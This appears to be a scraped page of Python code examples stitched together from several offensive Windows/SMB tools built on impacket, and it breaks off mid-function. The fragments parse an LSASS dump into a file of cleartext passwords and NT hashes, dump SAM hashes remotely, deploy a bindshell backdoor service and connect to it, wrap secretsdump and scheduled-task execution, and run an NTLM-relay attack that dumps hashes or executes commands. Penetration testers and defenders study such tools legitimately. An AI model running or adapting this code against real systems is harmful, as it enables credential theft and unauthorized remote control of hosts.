        print("Done")

    @staticmethod
    def create_report(filename, verbose):
        print("Creating report")
        with open("./temp_report.json", "r") as jf:
            parsed = json.load(jf)["./lsass_dump.dmp"]
            with open(filename, "w") as report:
                for el in parsed["logon_sessions"]:
                    temp = parsed["logon_sessions"][el]
                    if len(temp["kerberos_creds"]) > 0:
                        for cr in temp["kerberos_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From Kerberos (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                elif len(cr["tickets"]) > 0:
                                    if verbose == 1:
                                        report.write(
                                            f"From Kerberos (Domain/username:tickets) -- {cr['domainname']} / {cr['username']}:{cr['tickets']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"Tickets--{cr['domainname']} / {cr['username']}:{cr['tickets']}\n"
                                        )
                    if len(temp["livessp_creds"]) > 0:
                        report.write("Did not expect creds to be in livessp\n")
                    if len(temp["ssp_creds"]) > 0:
                        for cr in temp["ssp_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From SSP (Domain/username:password) -- {cr['domainname']}/{cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']}/{cr['username']}:{cr['password']}\n"
                                        )
                    if len(temp["wdigest_creds"]) > 0:
                        for cr in temp["wdigest_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From Wdigest (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                    if len(temp["msv_creds"]) > 0:
                        for cr in temp["msv_creds"]:
                            if cr["username"] is not None:
                                if cr["NThash"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From MSV (Domain/username:NThash) -- {cr['domainname']} / {cr['username']}:{cr['NThash']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"NTHASH--{cr['domainname']} / {cr['username']}:{cr['NThash']}\n"
                                        )

                for el in parsed["orphaned_creds"]:
                    if "username" in el.keys() and el["username"] is not "":
                        if el["password"] is not None:
                            if verbose == 1:
                                report.write(
                                    f"From orphaned creds (Domain/username:password) -- {el['domainname']} / {el['username']}:{el['password']}\n"
                                )
                            else:
                                report.write(
                                    f"{el['domainname']} / {el['username']}:{el['password']}\n"
                                )
                        elif "tickets" in el.keys() and len(el["tickets"]) > 0:
                            if verbose == 1:
                                report.write(
                                    f"From orphaned creds (Domain/username:tickets) -- {el['domainname']} / {el['username']}:{el['tickets']}\n"
                                )
                            else:
                                report.write(
                                    f"Tickets--{el['domainname']} / {el['username']}:{el['tickets']}\n"
                                )
        os.remove("./temp_report.json")
        print("Done :)")

    def run(self):
        self.upload_file()
        self.exec_procdump()
        self.dump_lsass()
        self.clear_out()
Пример #16
0
class SmbCon(Connector):
    def __init__(self, args, loggers, host, db):
        Connector.__init__(self, args, loggers, host)
        self.auth = False
        self.con = False
        self.client = ''.join(
            [choice(ascii_letters + digits) for x in range(7)])
        self.smbv1 = False
        self.os = ''
        self.admin = False
        self.signing = False
        self.os_arch = '0'
        self.remote_ops = None
        self.bootkey = None

        self.db = db
        self.port = 445

    #########################
    # Session Management
    #########################
    def create_smb_con(self):
        # Create SMB Con
        if self.smb_connection():
            self.host_info()
            try:
                # SMB Auth
                self.con.login(self.username,
                               self.password,
                               self.domain,
                               lmhash=self.lmhash,
                               nthash=self.nthash)
                self.auth = True
                self.host_info()
                self.isAdmin()
                self.update_db()
            except Exception as e:
                raise Exception(str(e))
        else:
            raise Exception('Connection to Server Failed')

    def update_db(self):
        self.db.update_host(self.host, self.ip, self.domain, self.os,
                            self.signing)
        if self.username and self.password or self.username and self.hash:
            self.db.update_user(self.username, self.password, self.domain,
                                self.hash)
            if self.admin:
                self.db.update_admin(self.username, self.domain, self.host)

    def logoff(self):
        self.con.logoff()

    def close(self):
        try:
            self.con.logoff()
        except:
            pass

        try:
            self.con.close()
        except:
            pass

    #########################
    # SMB Connection
    #########################
    def smb_connection(self):
        if self.smbv1_con():
            return True
        elif self.smbv3_con():
            return True
        return False

    def smbv1_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     preferredDialect=SMB_DIALECT,
                                     timeout=int(self.timeout))
            self.smbv1 = True
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    def smbv3_con(self):
        try:
            self.con = SMBConnection(self.client,
                                     self.host,
                                     sess_port=self.port,
                                     timeout=int(self.timeout))
            self.con.setTimeout(self.timeout)
            return True
        except Exception as e:
            return False

    #########################
    # Authentication (NOT IN USE)
    #########################
    def set_host(self, local_auth):
        # Get domain for authentication purposes
        if local_auth:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()
        else:
            self.domain = self.con.getServerDNSDomainName()
        # Backup for Linux/Unix systems
        if not self.domain:
            self.domain = self.con.getServerName(
            ) + "." + self.con.getServerDNSDomainName()

    ################################
    # Enumerate Host information
    ################################
    def host_info(self):
        try:
            self.srvdomain = self.get_domain()
            self.host = self.get_hostname()
            self.os = self.con.getServerOS()
            self.signing = self.con.isSigningRequired()

            arch = self.get_os_arch()
            if arch == 32 or arch == 64:
                self.os_arch = " x{}".format(str(arch))
            else:
                self.os_arch = ''
        except Exception as e:
            self.logger.debug("SMB Host Info: {}".format(str(e)))

    def get_os_arch(self):
        # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(
                    MSRPC_UUID_PORTMAP,
                    transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36',
                                     '1.0'))
            except DCERPCException as e:
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64
        except:
            return 0

    def get_hostname(self):
        if self.con.getServerDNSDomainName() and not self.local_auth:
            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    ################################
    def enable_remoteops(self):
        # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        try:
            self.enable_remoteops()

            def add_sam_hash(sam_hash, host_id):
                self.logger.success(
                    [self.host, highlight("SAM HASH"), sam_hash])
                username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
                self.db.update_user(username, '', host_id,
                                    "{}:{}".format(lmhash, nthash))

            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()

        except Exception as e:
            self.logger.fail('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))
            try:
                self.remote_ops.finish()
            except Exception as e:
                self.logger.debug(
                    "Error calling remote_ops.finish() for {}: {}".format(
                        self.host, str(e)))
        SAM.finish()

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Пример #17
0
class SMBShell(PsExec, Samr, SvcCtl):
    def __init__(self, target, credential, local_name):

        self.__dstip = target.get_host()
        self.__dstport = target.get_port()
        self.__user = credential.get_user()
        self.__password = credential.get_password()
        self.__lmhash = credential.get_lm_hash()
        self.__nthash = credential.get_nt_hash()
        self.__domain = credential.get_domain()
        self.__is_admin = credential.get_is_admin()
        self.__srcfile = local_name

        self.__destfile = '*SMBSERVER' if self.__dstport == 139 else self.__dstip
        self.__timeout = 5 * 60

        self.smb = None
        self.tid = None
        self.pwd = '\\'
        self.share = ''
        self.shares_list = []
        self.domains_dict = {}
        self.users_list = set()
        self.completion = []

        self.smbserver_share = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))

        self.connect()
        logger.debug('Connection to host %s established' % target.get_identity())

        self.login()
        logger.debug(
            'Logged in as %s' % (self.__user if not self.__domain else '%s\%s' % (self.__domain, self.__user)))

        logger.info('Looking for a writable share, wait..')
        _ = self.get_writable_share()

        self.info(False)

        if _:
            DataStore.writable_share = _
        else:
            logger.warn('Unable to find a writable share. Going to use %s, but some commands will not work'
                        % DataStore.writable_share)

            if DataStore.version_major >= 6 or (DataStore.version_major == 5 and DataStore.version_minor == 1):
                DataStore.share_path = ntpath.join(DataStore.user_path, 'Windows', 'Temp')
            else:
                DataStore.share_path = ntpath.join(DataStore.user_path, 'WINNT', 'Temp')

    def connect(self):
        self.smb = SMBConnection(self.__destfile, self.__dstip, self.__srcfile, self.__dstport, self.__timeout)

    def login(self):
        try:
            self.smb.login(self.__user, self.__password, self.__domain, self.__lmhash, self.__nthash)
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.error('SMB error: %s' % (e.getErrorString(),))
            raise RuntimeError

    def logoff(self):
        self.smb.logoff()

    def smb_transport(self, named_pipe):
        self.trans = transport.SMBTransport(remoteName=self.__dstip, dstport=self.__dstport, filename=named_pipe,
                                            smb_connection=self.smb, remote_host=self.__dstip)

        try:
            self.trans.connect()
        except socket.error as e:
            logger.warn('Connection to host %s failed (%s)' % (self.__dstip, e))
            raise RuntimeError
        except SessionError as e:
            logger.warn('SMB error: %s' % e.getErrorString())
            raise RuntimeError

    def info(self, display=True):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)

        try:
            self.__resp = srvs.hNetrServerGetInfo(self.__dce, 102)
        except rpcrt.DCERPCException as _:
            # traceback.print_exc()
            logger.warning('Unable to query server information')
            return None

        self.__dce.disconnect()

        DataStore.server_os = self.smb.getServerOS()
        DataStore.server_name = self.smb.getServerName()
        DataStore.server_domain = self.smb.getServerDomain()
        DataStore.server_host = self.smb.getRemoteHost()
        DataStore.user_path = self.__resp['InfoStruct']['ServerInfo102']['sv102_userpath']
        DataStore.version_major = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_major']
        DataStore.version_minor = self.__resp['InfoStruct']['ServerInfo102']['sv102_version_minor']

        if display:
            print('Operating system: %s' % self.smb.getServerOS())
            print('Netbios name: %s' % self.smb.getServerName())
            print('Domain: %s' % self.smb.getServerDomain())
            print('SMB dialect: %s' % check_dialect(self.smb.getDialect()))
            print('NTLMv2 support: %s' % self.smb.doesSupportNTLMv2())
            print('UserPath: %s' % DataStore.user_path)
            print('Simultaneous users: %d' % self.__resp['InfoStruct']['ServerInfo102']['sv102_users'])
            print('Version major: %d' % DataStore.version_major)
            print('Version minor: %d' % DataStore.version_minor)
            print('Comment: %s' % self.__resp['InfoStruct']['ServerInfo102']['sv102_comment'] or '')

            # TODO: uncomment when SMBConnection will have a wrapper
            # getServerTime() method for both SMBv1,2,3
            # print 'Time: %s' % self.smb.get_server_time()

        return self.__resp

    def who(self):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.connect()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrSessionEnum(self.__dce, NULL, NULL, 502)

        for session in resp['InfoStruct']['SessionInfo']['Level502']['Buffer']:
            print("Host: %15s, user: %5s, active: %5d, idle: %5d, type: %5s, transport: %s"
                  % (session['sesi502_cname'][:-1], session['sesi502_username'][:-1], session['sesi502_time'],
                     session['sesi502_idle_time'], session['sesi502_cltype_name'][:-1],
                     session['sesi502_transport'][:-1]))

        self.__dce.disconnect()

    def __share_info(self, share):
        self.smb_transport('srvsvc')
        self.__dce = self.trans.get_dce_rpc()
        self.__dce.connect()
        self.__dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrShareGetInfo(self.__dce, '%s\x00' % share, 2)
        self.__dce.disconnect()

        return resp

    def check_share(self, share=None):
        # logger.debug("Into check_share with share: %s, self.share is: %s and self.tid is: %s"
        #              % (share, self.share, self.tid))

        if share:
            self.use(share)
        elif not share and (self.share is None or self.tid is None):
            logger.warn('Share has not been specified, select one')
            self.shares()

    def is_writable_share(self, share):
        _ = ''.join([random.choice(string.ascii_letters) for _ in range(8)])

        try:
            self.use(share, False)
            self.mkdir(_)
        except:
            pass
        else:
            self.rmdir(_)
            return True

        return False

    def get_writable_share(self):
        # Check we can write a directory on the shares, return the first writable one
        for _ in self.smb.listShares():
            share = _['shi1_netname'][:-1]

            try:
                share_info = self.__share_info(share)
            except rpcrt.DCERPCException as _:
                # traceback.print_exc()
                logger.warning('Unable to query share: %s' % share)
                continue

            path = share_info['InfoStruct']['ShareInfo2']['shi2_path'][:-1]

            if self.is_writable_share(share):
                logger.info('Share %s %sis writable' % (share, "(%s) " % path if path else ""))
                DataStore.share_path = path
                return share
            else:
                logger.debug('Share %s %sis not writable' % (share, "(%s) " % path if path else ""))

        return None

    def shares(self):
        shares = self.smb.listShares()
        count = 0

        for i in range(len(shares)):
            count += 1
            name = shares[i]['shi1_netname'][:-1]
            self.shares_list.append(name)

            comment = shares[i]['shi1_remark'][:-1]
            share_type = shares[i]['shi1_type']

            _ = self.__share_info(name)
            max_uses = _['InfoStruct']['ShareInfo2']['shi2_max_uses']  # 4294967295L is unlimited
            current_uses = _['InfoStruct']['ShareInfo2']['shi2_current_uses']
            permissions = _['InfoStruct']['ShareInfo2']['shi2_permissions']  # impacket always returns always 0
            path = _['InfoStruct']['ShareInfo2']['shi2_path']

            print('[%d] %s (comment: %s)' % (count, name, comment))

            print('\tPath: %s' % path)
            print('\tUses: %d (max: %s)' % (current_uses, 'unlimited' if max_uses == 4294967295 else max_uses))
            # print '\tType: %s' % share_type
            # print '\tPermissions: %d' % permissions

        msg = 'Which share do you want to connect to? (default: 1) '
        limit = len(self.shares_list)
        choice = read_input(msg, limit)

        self.use(self.shares_list[choice - 1])

    def use(self, share, display=True):
        if not share:
            raise missingShare('Share has not been specified')

        if self.tid:
            self.smb.disconnectTree(self.tid)

        try:
            self.share = share.strip('\x00')
            self.tid = self.smb.connectTree(self.share)
            self.pwd = '\\'
            self.ls('', False)
        except SessionError as e:
            if not display:
                pass
            elif e.getErrorCode() == nt_errors.STATUS_BAD_NETWORK_NAME:
                logger.warn('Invalid share name')
            elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                logger.warn('Access denied')
            else:
                logger.warn('Unable to connect to share: %s' % (e.getErrorString(),))

    def cd(self, path):
        if not path:
            return

        self.check_share()
        path = ntpath.normpath(path)
        self.oldpwd = self.pwd

        if path == '.':
            return
        elif path == '..':
            sep = self.pwd.split('\\')
            self.pwd = '\\'.join('%s' % s for s in sep[:-1])
            return

        if path[0] == '\\':
            self.pwd = path
        else:
            self.pwd = ntpath.join(self.pwd, path)

        # Let's try to open the directory to see if it's valid
        try:
            fid = self.smb.openFile(self.tid, self.pwd)
            self.smb.closeFile(self.tid, fid)
            logger.warn('File is not a directory')
            self.pwd = self.oldpwd
        except SessionError as e:
            if e.getErrorCode() == nt_errors.STATUS_FILE_IS_A_DIRECTORY:
                return
            elif e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                logger.warn('Access denied')
            elif e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
                logger.warn('File not found')
            else:
                logger.warn('Unable to change directory: %s' % (e.getErrorString(),))

            self.pwd = self.oldpwd

    def get_pwd(self):
        print(ntpath.join(self.share, self.pwd))

    def ls(self, path, display=True):
        self.check_share()

        if not path:
            pwd = ntpath.join(self.pwd, '*')
        else:
            pwd = ntpath.join(self.pwd, path)

        self.completion = []
        pwd = ntpath.normpath(pwd)

        try:
            files = self.smb.listPath(self.share, pwd)
        except SessionError as e:
            if not display:
                pass
            elif e.getErrorCode() in (nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_NO_SUCH_FILE):
                logger.warn('File not found')
            else:
                logger.warn('Unable to list files: %s' % (e.getErrorString(),))

            return

        for f in files:
            if display is True:
                print('%s %8s %10d %s' % (time.ctime(float(f.get_mtime_epoch())),
                                          '<DIR>' if f.is_directory() > 0 else '',
                                          f.get_filesize(), f.get_longname()))

            self.completion.append((f.get_longname(), f.is_directory(), f.get_filesize()))

    def lstree(self, path):
        self.check_share()

        if not path:
            path = ntpath.basename(self.pwd)
            self.cd('..')

        for x in range(0, path.count('\\')):
            print('|  ')

        print('%s' % os.path.basename(path.replace('\\', '/')))

        self.ls('%s\\*' % path, display=False)

        for identified_file, is_directory, size in self.completion:
            if identified_file in ('.', '..'):
                continue

            if is_directory > 0:
                self.lstree(ntpath.join(path, identified_file))
            else:
                for x in range(0, path.count('\\')):
                    print('|  ')

                print('|-- %s (%d bytes)' % (identified_file, size))

    def cat(self, filename):
        self.check_share()

        filename = os.path.basename(filename)
        self.ls(filename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Reading file %s (%d bytes)..' % (filepath, size))

            try:
                self.fid = self.smb.openFile(self.tid, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to access file: %s' % (e.getErrorString(),))

                continue

            offset = 0

            while 1:
                try:
                    data = self.smb.readFile(self.tid, self.fid, offset)
                    data = data.decode("cp437")
                    print(data)
                    if len(data) == 0:
                        break

                    offset += len(data)
                except SessionError as e:
                    if e.getErrorCode() == nt_errors.STATUS_END_OF_FILE:
                        break
                    else:
                        logger.error('Unable to read file content: %s' % (e.getErrorString(),))

            self.smb.closeFile(self.tid, self.fid)

    def download(self, filename, path=None):
        self.check_share()

        basename = os.path.basename(filename)

        if path is None:
            path = '.'
        else:
            path = path.replace('\\', '/')

        self.ls(basename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                self.downloadtree(identified_file)
                self.cd('..')
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Downloading file %s (%d bytes)..' % (filepath, size))

            try:
                fh = open(os.path.join(path, identified_file), 'wb')
                self.smb.getFile(self.share, filepath, fh.write)
                fh.close()
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to download file: %s' % (e.getErrorString(),))

    def downloadtree(self, path):
        self.check_share()

        if not path:
            path = ntpath.basename(self.pwd)
            self.cd('..')

        basename = ntpath.basename(path)
        normpath = path.replace('\\', '/')

        self.cd(basename)

        # Check if the provided path is not a directory (if so, then the
        # working directory has not changed
        if self.pwd == self.oldpwd:
            self.download(basename)
            return

        logger.debug('Recreating directory %s' % self.pwd)
        self.ls(None, display=False)

        if not os.path.exists(normpath):
            os.makedirs(normpath)

        for identified_file, is_directory, size in self.completion:
            if identified_file in ('.', '..'):
                continue

            if is_directory > 0:
                self.downloadtree(ntpath.join(path, identified_file))
                self.cd('..')
            else:
                self.download(identified_file, normpath)

    def upload(self, pathname, destfile=None):
        self.check_share()

        if isinstance(pathname, string_types):
            files = glob.glob(pathname)
        else:
            files = [pathname]

        for filename in files:
            try:
                if isinstance(filename, string_types):
                    fp = open(filename, 'rb')
                else:
                    fp = filename
            except IOError:
                logger.error('Unable to open file %s' % filename)
                return False

            if not destfile or len(files) > 1:
                destfile = os.path.basename(filename)

            destfile = ntpath.join(self.pwd, destfile)

            if isinstance(filename, string_types):
                logger.debug('Uploading file %s to %s..' % (filename, destfile))

            try:
                self.smb.putFile(self.share, destfile, fp.read)
            except SessionError as e:
                traceback.print_exc()
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to upload %s' % destfile)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to upload %s due to share access flags' % destfile)
                else:
                    logger.error('Unable to upload file: %s' % (e.getErrorString(),))

            fp.close()

    def rename(self, srcfile, destfile):
        self.check_share()
        srcfile = ntpath.join(self.pwd, ntpath.normpath(srcfile))
        destfile = ntpath.join(self.pwd, ntpath.normpath(destfile))
        self.smb.rename(self.share, srcfile, destfile)

    def mkdir(self, path):
        self.check_share()
        path = ntpath.join(self.pwd, ntpath.normpath(path))
        self.smb.createDirectory(self.share, path)

    def rm(self, filename):
        self.check_share()

        filename = ntpath.join(self.pwd, ntpath.normpath(filename))
        self.ls(filename, display=False)

        for identified_file, is_directory, size in self.completion:
            if is_directory > 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Removing file %s (%d bytes)..' % (filepath, size))

            try:
                self.smb.deleteFile(self.share, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to remove file: %s' % (e.getErrorString(),))

    def rmdir(self, path):
        self.check_share()

        path = ntpath.join(self.pwd, ntpath.normpath(path))
        self.ls(path, display=False)

        for identified_file, is_directory, _ in self.completion:
            if is_directory <= 0:
                continue

            filepath = ntpath.join(self.pwd, identified_file)
            logger.debug('Removing directory %s..' % filepath)

            try:
                self.smb.deleteDirectory(self.share, filepath)
            except SessionError as e:
                if e.getErrorCode() == nt_errors.STATUS_ACCESS_DENIED:
                    logger.warn('Access denied to %s' % identified_file)
                elif e.getErrorCode() == nt_errors.STATUS_SHARING_VIOLATION:
                    logger.warn('Access denied to %s due to share access flags' % identified_file)
                else:
                    logger.error('Unable to remove directory: %s' % (e.getErrorString(),))

    def bindshell(self, port):
        connected = False
        srvname = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
        local_file = os.path.join(keimpx_path, 'contrib', 'srv_bindshell.exe')
        remote_file = '%s.exe' % ''.join([random.choice(string.ascii_lowercase) for _ in range(8)])

        if not os.path.exists(local_file):
            raise missingFile('srv_bindshell.exe not found in the contrib subfolder')

        logger.info('Launching interactive OS shell')
        logger.debug('Going to use temporary service %s' % srvname)

        if not port:
            port = 4445
        elif not isinstance(port, int):
            port = int(port)

        self.deploy(srvname, local_file, port, remote_file)

        logger.info('Connecting to backdoor on port %d, wait..' % port)

        for counter in range(0, 3):
            try:
                time.sleep(1)

                if str(sys.version.split()[0]) >= '2.6':
                    tn = Telnet(self.__dstip, port, 3)
                else:
                    tn = Telnet(self.__dstip, port)

                connected = True
                tn.interact()
            except (socket.error, socket.herror, socket.gaierror, socket.timeout) as e:
                if connected is False:
                    warn_msg = 'Connection to backdoor on port %d failed (%s)' % (port, e)

                    if counter < 2:
                        warn_msg += ', retrying..'
                        logger.warn(warn_msg)
                    else:
                        logger.error(warn_msg)
            except SessionError as e:
                # traceback.print_exc()
                logger.error('SMB error: %s' % (e.getErrorString(),))
            except KeyboardInterrupt as _:
                print()
                logger.info('User aborted')
            except Exception as e:
                # traceback.print_exc()
                logger.error(str(e))

            if connected is True:
                tn.close()
                sys.stdout.flush()
                break

        time.sleep(1)
        self.undeploy(srvname)

    def getSecretsDumper(self, history):
        dumper = DumpSecrets(remoteName=self.__destfile, remoteHost=self.__dstip, username=self.__user,
                             password=self.__password, domain=self.__domain, lmhash=self.__lmhash,
                             nthash=self.__nthash, history=history, ds=DataStore)
        return dumper

    def getAtExec(self, command):
        if DataStore.version_major > 6:
            atexec = TSCH_EXEC(self.__destfile if self.__destfile is not None else self.__dstip, username=self.__user,
                               password=self.__password, domain=self.__domain, lmhash=self.__lmhash,
                               nthash=self.__nthash, command=command)
            return atexec
        else:
            logger.warn("This command only works on Windows Vista or newer.")
            return None

    def getRpcDump(self):
        dumper = RPCDump(self.__destfile if self.__destfile is not None else self.__dstip, remoteHost=self.__dstip,
                         username=self.__user, password=self.__password, domain=self.__domain,
                         lmhash=self.__lmhash, nthash=self.__nthash)
        return dumper
Пример #18
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception as e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
